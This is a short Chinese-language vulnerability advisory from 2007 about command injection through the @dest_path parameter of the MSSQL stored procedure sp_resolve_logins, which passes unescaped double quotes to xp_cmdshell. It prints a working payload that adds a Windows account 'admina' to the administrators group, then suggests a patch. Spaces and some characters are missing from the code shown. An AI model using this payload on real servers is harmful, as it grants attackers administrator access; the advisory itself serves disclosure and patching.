Infos:MSSQL自身存储过程的一个注入

Author:疯子[BCT]

Date:10/11/2007

我看到MSSQL的存储过程中，有模有样的在过滤。然后我就去读读他们的存储过程。就找到了一个注入而已。

疯子如是说。

漏洞资料如下：

master..sp_resolve_logins存储过程中，对@dest_path参数过滤不严，导致xp_cmdshell注入。

分析：

复制代码 代码如下:

SELECT@dest_path=RTRIM(LTRIM(@dest_path))

--Ifthelastcharis'',removeit.

IFsubstring(@dest_path,len(@dest_path),1)=''

SELECT@dest_path=substring(@dest_path,1,len(@dest_path)-1)

--Don'tdovalidationifitisaUNCpathduetosecurityproblem.

--Iftheserverisstartedasaserviceusinglocalsystemaccount,we

--don'thaveaccesstotheUNCpath.

IFsubstring(@dest_path,1,2)<>''

BEGIN

SELECT@command='dir"'+@dest_path+'"'

exec@retcode=master..xp_cmdshell@command,'no_output'

IF@@error<>0

RETURN(1)

IF@retcode<>0

BEGIN

raiserror(14430,16,-1,@dest_path)

RETURN(1)

END

END

master..sp_resolve_logins存储过程在这一段，经过一定的判断，对@dest_path进行了一定的过滤。

但是没有过滤"（双引号）导致了xp_cmdshell执行任意SQL语句

测试代码：

EXECsp_resolve_logins'text','e:asp"&netuseradminaadmin/add&netlocalgroupadministratorsadmina/add&dir"e:asp','1.asp'

执行上述MSSQL语句，成功添加了一个名为admina的系统帐号

但是此存储过程代码中经过判断，需要系统systemadmin权限的帐号。

疯子提供了一个给其打补丁的方法：

复制代码 代码如下:

用函数fn_escapecmdshellsymbolsremovequotes把@dest_path过滤就OK了。如：

SELECT@dest_path=RTRIM(LTRIM(fn_escapecmdshellsymbolsremovequotes(@dest_path)))，这样就不会产生注入了。